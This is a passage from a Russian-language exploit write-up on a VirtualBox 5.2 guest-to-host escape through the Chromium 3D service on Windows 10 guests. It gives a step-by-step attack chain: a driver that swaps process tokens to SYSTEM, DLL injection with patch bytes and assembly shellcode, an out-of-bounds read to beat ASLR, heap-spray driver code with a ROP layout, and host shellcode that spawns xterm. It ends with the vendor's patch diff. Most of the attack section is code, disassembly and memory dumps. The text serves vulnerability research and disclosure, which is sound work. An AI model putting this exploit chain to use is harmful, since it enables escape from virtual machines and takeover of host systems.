  • драйвер (vrdpexploit.sys).

Эксплоит требует привилегий администратора в гостевой ОС для загрузки драйвера. Теоретически, можно обойтись и без них, если найти уязвимость в драйверах Guest Additions, либо работать с гостевой системой, отличной от Windows 10, но всё это не имеет отношения к самой уязвимости, т.к. в том и заключается защитная роль виртуализации, чтобы изолировать потенциально опасный код, с какими бы привилегиями он ни выполнялся.

Алгоритм эксплуатации

  1. Атакующий запускает vrdpexploit_launcher.exe с правами администратора.

  2. Шаг первый: повышение привилегий.

    1. Загрузчик подгружает драйвер.
    2. Драйвер повышает привилегии процессов vrdpexploit_launcher.exe и dwm.exe до SYSTEM
  3. Шаг второй: перехват.

    1. Загрузчик инжектит библиотеку hostid_hijacker.dll в процесс dwm.exe и перехватывает идентификатор, необходимый в дальнейшем для успешного создания дисплеев.
    2. Перехваченный идентификатор возвращается загрузчику.
  4. Шаг третий: эксплуатация.

    1. Загрузчик приостанавливает процесс dwm.exe, чтобы прекратить любые взаимодействия guest-host, относящиеся к обновлению дисплея. Дисплей “замораживается”.
    2. Драйвер соединяется со службой 3D-ускорения Chromium на хосте по интерфейсу HGSMI.
    3. Драйвер отправляет команду А и делает Information Leak, получая хостовые указатели нескольких модулей.
    4. Драйвер отправляет команду Б множество раз для заполнения кучи хоста.
    5. Драйвер записывает шеллкод в видеопамять (VRAM). VRAM отображена одновременно и в госте по определённому физическому адресу, и в хосте как обычный участок виртуальной памяти с атрибутами RWX.
    6. Драйвер возвращает процессу dwm.exe его исходные привилегии.
  5. Последний шаг.

    1. Атакующий закрывает соединение RDP, что приводит к передаче управления на шеллкод в VRAM на стороне хоста. Шеллкод создаёт процесс /usr/bin/xterm.
    2. На стороне гостя загрузчик включает процесс dwm.exe и завершается. Дисплей “размораживается”, виртуальная машина продолжает работать.

Пояснения

Сразу оговорюсь, что ниже изложено моё видение внутренностей VirtualBox, оно может быть ошибочным. В английской версии статьи эти соображения вырезали, но без них, как мне кажется, последующий текст становится менее ясным.

Для Windows 7 и более ранних версий гостевые дополнения VirtualBox предоставляют видеодрайвер на базе модели XPDM. Она считается устаревшей, поэтому для Windows 8 и более новых версий разработчики создали драйвер на базе модели WDDM. В случае с Windows 10 драйвер называется VBoxVideoW8.sys.

Наряду с новым драйвером произошла смена интерфейса взаимодействия гостя и хоста. Если на прочих системах, включая Linux, всё ещё используется HGCM (Host-Guest Communication Manager), то видеодрайвер Windows 10 соединяется с хостом через HGSMI (Host-Guest Shared Memory Interface). Он в некоторой степени сохранил обратную совместимость, поместив HGCM на один уровень выше. Полной совместимости нет, так как, во-первых, при включённом HGSMI использовать HGCM напрямую нельзя, во-вторых, часть команд была просто убрана, и в-третьих, теперь видеодрайвер не позволяет взаимодействовать со службой Chromium из ring3.

Нам необходим драйвер для того, чтобы отправлять следующие команды хосту:

  • создать новый дисплей, в т.ч. структуру H3DORInstance, используя определённую команду Chromium;
  • заполнить кучу хоста, используя другую команду Chromium.

Тут есть две проблемы. Первая заключается в том, что для создания H3DORInstance нам необходим идентификатор под названием Host ID. Этот идентификатор создаётся библиотекой VBoxDispD3D.dll из Guest Additions, которая подгружается в процесс dwm.exe при запуске гостевой ОС. Идентификатор передаётся драйверу VBoxVideoW8.sys, который затем отправляет хосту HGSMI-команду VBOXCMDVBVA_FLIP для создания нового дисплея. Идентификатор не хранится нигде, в памяти ядра его я тоже не нашёл, поэтому последнее, что остаётся, это инжектиться в процесс dwm.exe, патчить код в нужном месте, считывать Host ID и возвращать обратно загрузчику. Поскольку dwm.exe работает под специфическими правами, и с пользовательскими в него не заинжектиться, я решил обоим процессам назначать токен системного процесса.

Вторая проблема заключается в том, что дисплеи и соответствующие им структуры H3DORInstance создаются и уничтожаются на стороне хоста очень быстро. Причиной оказались вышеупомянутые команды VBOXCMDVBVA_FLIP, которые отправляются из процесса dwm.exe для обновления экрана. Из-за этого создавать дисплеи и заполнять кучу хоть сколько-нибудь надёжно не получится. Для решения этой проблемы я решил останавливать процесс dwm.exe до тех пор, пока куча не будет заполнена и RDP-соединение не будет закрыто. Когда dwm.exe остановлен, гостевая ОС словно бы зависает. После завершения заполнения кучи загрузчик даёт некоторое время атакующему закрыть соединение RDP и вызвать эксплоит, а затем снова запускает dwm.exe.

Как было сказано в начале, уязвимость существует независимо от гостевой ОС. Она проявляется из-за того, что новый WDDM-видеодрайвер для Windows 10 использует HGSMI-команду VBOXCMDVBVA_FLIP, чего другие видеодрайверы не делают.

Детали

Шаг первый: повышение привилегий

Загрузчик (vrdpexploit_launcher.exe) подгружает драйвер (vrdpexploit.sys) и отправляет запрос IOCTL_ESCALATE. Драйвер находит структуру EPROCESS загрузчика, dwm.exe и системного процесса. Он сохраняет токен dwm.exe, чтобы в конце эксплуатации установить его обратно, и заменяет токены процессов загрузчика и dwm.exe токеном системного процесса.

Шаг второй: перехват

Я использую утилиту Reflective DLL Injection от Stephen Fewer для упрощения инжекта. Когда библиотека (hostid_hijacker.dll) загружена в dwm.exe, она патчит следующий код своим переходником.

(/VirtualBox-5.2.8/src/VBox/Additions/WINNT/Graphics/Video/disp/wddm/VBoxDispD3D.cpp)

static HRESULT APIENTRY vboxWddmDDevPresent(HANDLE hDevice, CONST D3DDDIARG_PRESENT* pData)
{
...
#ifdef VBOX_WITH_CROGL
        if (pAdapter->u32VBox3DCaps & CR_VBOX_CAP_TEX_PRESENT)
        {
            IDirect3DSurface9 *pSrcSurfIf = NULL;
            hr = VBoxD3DIfSurfGet(pSrcRc, pData->SrcSubResourceIndex, &pSrcSurfIf);
...

Более конкретно, патч изменяет код после вызова VBoxD3DIfSurfGet следующими командами:

BYTE gPatch[] =
"\xE8\x00\x00\x00\x00"                      // call $5
"\x58"                                      // pop rax
"\x48\x83\xE8\x05"                          // sub rax, 5
"\x50"                                      // push rax
"\x48\xB8\x41\x41\x41\x41\x41\x41\x41\x41"  // mov rax, 0x4141414141414141
"\x50"                                      // push rax
"\xC3";                                     // ret

Во время инициализации библиотеки, перед патчингом, библиотека заменяет 0x4141414141414141 адресом шеллкода.

PUBLIC Shellcode

EXTERN gHostId: DWORD
EXTERN RestoreBytes: PROC

.CODE

Shellcode PROC

	; We should preserve all the registers because it's not known
	; what of them will be used in RestoreBytes()
	push rax
	push rbx
	push rcx
	push rdx
	push rsi
	push rdi
	push r8
	push r9
	push r10
	push r11
	push r12
	push r13
	push r14
	push r15

	; IDirect3DSurface9* pSrcSurfIf = [rsp + 0260h]
	; We add 8 to because the shellcode is call'ed by the patch
	; We also add 112 to account all the push'es (8 * 14)
	mov rax, qword ptr [rsp + 0260h + 08h + 070h];

	; wined3d_surface* surface = ((d3d9_surface*)pSrcSurfIf)->wined3d_surface
	mov rax, qword ptr [rax + 010h]

	; uint32_t hostId = surface->texture_name
	mov eax, dword ptr [rax + 0F4h]

	; Save Host ID
	mov dword ptr [gHostId], eax

	; Replace the patch with original bytes so the shellcode will not be called anymore
	call RestoreBytes

	pop r15
	pop r14
	pop r13
	pop r12
	pop r11
	pop r10
	pop r9
	pop r8
	pop rdi
	pop rsi
	pop rdx
	pop rcx
	pop rbx
	pop rax

	ret

Shellcode ENDP

END

Шеллкод берёт указатель pSrcSurfIf, который вернула функция VBoxD3DIfSurfGet, и проходит по нескольким структурам, чтобы достать Host ID. После этого шеллкод восстанавливает оригинальные байты вместо переходника и продолжает исполнение. Этот процесс патчинга, перехвата и восстановления байт выполняется 4 раза из-за того, что в действительности одновременно используются несколько Host ID, и если мы случайно возьмём наименьший, то команда создания дисплеев работать не будет. В конечном счёте Host ID возвращается загрузчику с помощью WriteProcessMemory.

Шаг третий: эксплуатация

Подготовка

Процесс dwm.exe останавливается утилитой PsSuspend от Sysinternals. Загрузчик отправляет запрос IOCTL_EXPLOIT драйверу. Драйвер инициализирует интерфейс HGSMI для взаимодействия с хостом.

Обход ASLR

Чтобы обойти ASLR, нам необходима дополнительная уязвимость, желательно типа Information Leak, которая нашлась в обработчике Chromium-команды CR_GETCHROMIUMPARAMETERVCR_EXTEND_OPCODE. В начале обработчик выделяет буфер на стеке, а в конце возвращает заданное число байт этого буфера обратно гостю. Поскольку количество считываемых байт не проверяется, можно читать за пределами буфера, что я и делаю для получения указателей относительно модулей VBoxSharedCrOpenGL.so и VBoxDD.so.

(/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/server_misc.c)

void SERVER_DISPATCH_APIENTRY crServerDispatchGetChromiumParametervCR(GLenum target, GLuint index, GLenum type, GLsizei count, GLvoid *values)
{
    GLubyte local_storage[4096];
    GLint bytes = 0;

    switch (type) {
    case GL_BYTE:
    case GL_UNSIGNED_BYTE:
         bytes = count * sizeof(GLbyte);
         break;
    case GL_SHORT:
    case GL_UNSIGNED_SHORT:
         bytes = count * sizeof(GLshort);
         break;
    case GL_INT:
    case GL_UNSIGNED_INT:
         bytes = count * sizeof(GLint);
         break;
    case GL_FLOAT:
         bytes = count * sizeof(GLfloat);
         break;
    case GL_DOUBLE:
         bytes = count * sizeof(GLdouble);
         break;
    default:
         crError("Bad type in crServerDispatchGetChromiumParametervCR");
    }

...

    crServerReturnValue( local_storage, bytes );
}

Обход DEP

Не самый опасный зверь на сегодня. Тут могло бы хватить цепочки ROP-гаджетов, но слишком уж скудный контроль над регистрами у нас есть в момент уязвимого call [rax+320h], поэтому я решил поискать другие способы. Оказывается, тот регион памяти в хостовом процессе, которому соответствует видеопамять (VRAM) гостя, имеет атрибуты RWX. Если где-то в хостовом процессе лежит указатель на эту память, мы могли бы попытаться “слить” его при помощи вышеописанной ошибки и передать управление на него, где будет лежать шеллкод, записанный нашим драйвером внутри гостя.

И действительно, в файле /src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c объявляется глобальная переменная, в которой хранится адрес VRAM:

uint8_t* g_pvVRamBase = NULL;

Более того, файл server_main.c участвует в компиляции библиотеки VBoxSharedCrOpenGL.so, адрес которой легко сливается, а сама переменная, поскольку она глобальна, лежит по фиксированному смещению от начала библиотеки.

Таким образом, чтобы обойти DEP, мы сливаем адрес VBoxSharedCrOpenGL.so, добавляем к нему фиксированное смещение - теперь это указатель на g_pvVRamBase - и заставляем хостовый процесс положить этот указатель так, чтобы в дальнейшем ROP-код считал адрес VRAM из этого указателя и передал управление на видеопамять. Как вскоре будет показано, для этого достаточно лишь одного ROP-гаджета.

Heap Spray

It’s 2018, no one should be using heap sprays anymore.
Steven Seeley

Последний шаг - заполнение кучи. Необходимо создавать структуры H3DORInstance, а после каждой выделять память, содержимое которой подконтрольно нам. Для создания дисплеев я использую команду VBOXCMDVBVA_FLIP аналогично драйверу WDDM. Для выделения памяти произвольного размера и содержания отправляется команда CR_PROGRAMNAMEDPARAMETER4DVNV_EXTEND_OPCODE. Она принимает буфер как аргумент, выделяет новый буфер, копирует в него переданный, обрабатывает новый, но по завершении не освобождает его. Я использую эту ошибку утечки памяти для выделения буферов со следующим содержимым:

Offset 0x00: <address of rop gadget>
Offset 0x08: <address of g_pvVRamBase>
Offset 0x10: <address of rop gadget>
Offset 0x18: <address of g_pvVRamBase>
... и так далее.

Как видно, в буферах всего два разных указателя. Первый из них указывает на ROP-гаджет и размещается по адресам, кратным 16, чтобы уязвимый код командой call [rax+320h] взял один из этих указателей и вызвал его. Напомню:

.text:0000000000100DFF                 mov     rax, [rax]
.text:0000000000100E02                 mov     rdi, [rdi+8]
.text:0000000000100E06                 call    qword ptr [rax+320h]

Второй указатель ссылается на g_pvVRamBase и кладётся по адресам, не кратным 16. Один из них будет использован ROP-гаджетом.

gef➤  x/3i $pc
=> 0x7f8485c3c403:	mov    rax,QWORD PTR [rax+0x48]
   0x7f8485c3c407:	mov    rdi,rax
   0x7f8485c3c40a:	call   QWORD PTR [rax]

В общем и целом, в момент выполнения call [rax+320h] куча выглядит примерно так.

gef➤  x/128gx $rax
0x7f83cfd4f2e0:	0x00007f8485c3c403	0x0000000000000035
0x7f83cfd4f2f0:	0x00007f83cf0c2000	0x00007f83cfd50d70
0x7f83cfd4f300:	0x0000000000000000	0x0000029b00000556
0x7f83cfd4f310:	0x0000000000010101	0x0000000000000305
0x7f83cfd4f320:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f330:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f340:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f350:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f360:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f370:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f380:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f390:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3a0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3b0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3c0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3d0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3e0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3f0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f400:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f410:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f420:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f430:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f440:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f450:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f460:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f470:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f480:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f490:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4a0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4b0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4c0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4d0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4e0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4f0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f500:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f510:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f520:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f530:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f540:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f550:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f560:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f570:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f580:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f590:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5a0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5b0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5c0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5d0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5e0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5f0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f600:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f610:	0x00007f8485c3c403	0x0000000000000025
0x7f83cfd4f620:	0x00007f83cfd4f940	0x00007f83cfd4e020
0x7f83cfd4f630:	0x0000000007ffa000	0x0000000000000305
0x7f83cfd4f640:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f650:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f660:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f670:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f680:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f690:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f6a0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f6b0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f6c0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f6d0:	0x00007f8485c3c403	0x00007f849fff1650

Ниже показан кусок кода драйвера, заполняющий кучу. Он создаёт 64 дисплея, после каждого из которых выделяется 16384 буфера размером 0x2F8. Подбор наиболее стабильного сочетания значений делался эмпирически и занял существенную часть времени разработки всего эксплоита.

for (uint32_t i = 0; i < 64; i++) {
	uint32_t currentBufferSize = 0x2F8;

	// We reinitialize the content of the buffer on each iteration not because it becomes dirty
	// but because without it the spraying is too fast and many of submitted buffers
	// are just ignored.
	for (uint32_t j = 0; j < 1024 * 16; j++) {
		*(pData + 3) = CR_EXTEND_OPCODE;
		*(uint32_t*)(pData + 4) = 0; // unused
		*(uint32_t*)(pData + 8) 
			= CR_PROGRAMNAMEDPARAMETER4DVNV_EXTEND_OPCODE;
		*(uint32_t*)(pData + 12) = 0xFFFFFFFF; // id
		*(uint32_t*)(pData + 16) = currentBufferSize; // len
		*(uint64_t*)(pData + 20) = 0; // params[0]
		*(uint64_t*)(pData + 28) = 0; // params[1]
		*(uint64_t*)(pData + 36) = 0; // params[2]
		*(uint64_t*)(pData + 44) = 0; // params[3]
		const uint32_t bufferOffset = 52;
		bool spraySelector = 1;
		for (uint32_t off = bufferOffset; off < bufferOffset + currentBufferSize; off += sizeof(uint64_t)) {
			if (spraySelector) {
				*(uint64_t*)(pData + off) = rop_1;
			} else {
				*(uint64_t*)(pData + off) = vram_ptr;
			}
			spraySelector = !spraySelector;
		}

		int rc = VBoxHGSMIBufferSubmit(guestCtx, pShgsmiHdr);
		if (!RT_SUCCESS(rc)) {
			return STATUS_UNSUCCESSFUL;
		}
	}

	/* Create H3DORInstance (display) */
	MySendCrCmdFlip(pDevExt, pContext, hostId, i);

	RTThreadSleep(500);
}

Шеллкод и Process Continuation

ROP-гаджет передаёт управление на шеллкод, располагающийся в VRAM:

gef➤  x/19i $pc
=> 0x7f8478000000:	mov    rax,0x3a
   0x7f8478000007:	syscall 
   0x7f8478000009:	test   rax,rax
   0x7f847800000c:	jne    0x7f8478000048
   0x7f847800000e:	lea    rsi,[rip+0x4e]
   0x7f8478000015:	mov    QWORD PTR [rip+0x6b],rsi
   0x7f847800001c:	lea    rsi,[rip+0x57]
   0x7f8478000023:	mov    QWORD PTR [rip+0x6d],rsi
   0x7f847800002a:	lea    rdi,[rip+0x32]
   0x7f8478000031:	lea    rsi,[rip+0x4f]
   0x7f8478000038:	lea    rdx,[rip+0x58]
   0x7f847800003f:	mov    rax,0x3b
   0x7f8478000046:	syscall 
   0x7f8478000048:	mov    rdi,QWORD PTR [rsp+0x1c8]
   0x7f8478000050:	add    rbp,0x2b0
   0x7f8478000057:	add    rsp,0x1d0
   0x7f847800005e:	xor    rax,rax
   0x7f8478000061:	push   rdi
   0x7f8478000062:	ret    

Шеллкод делает fork+execve для создания процесса xterm на стороне хоста. Теперь, чтобы виртуальная машина продолжила работу, необходимо выполнить донастройку регистров RBP и RSP таким образом, чтобы инструкция RET вернула нас на несколько фреймов наверх, в функцию svcHostCallPerform, где было инициировано завершение RDP-соединения. Это делается добавлением 0x2B0 к RBP и 0x1D0 к RSP.

Патч

Oracle исправила уязвимость, поместив вызов функции, где происходило преждевременное освобождение памяти всех дисплеев, вне цикла:

--- VirtualBox-5.2.16/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp
+++ VirtualBox-5.2.18/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp
@@ -326,10 +326,10 @@
             WARN(("err"));
             break;
         }
-
-        CrFbVisitCreatedEntries(mpFb, entriesDestroyCb, this);
     }
 
+    CrFbVisitCreatedEntries(mpFb, entriesDestroyCb, this);
+
     return rc;
 }

Теперь функция CrFbVisitCreatedEntries вызывается лишь один раз.

Заключение

Какие выводы можно сделать из этой истории? Если вы вендор и имеете публичный багтрекер, убедитесь, что там нет по крайней мере очевидных уязвимостей. Если вы исследователь, то не ограничивайтесь определёнными операционными системами и избегайте каких-либо технических условностей в принципе: эта статья не появилась бы, оставь я свои попытки после неудачи на Windows.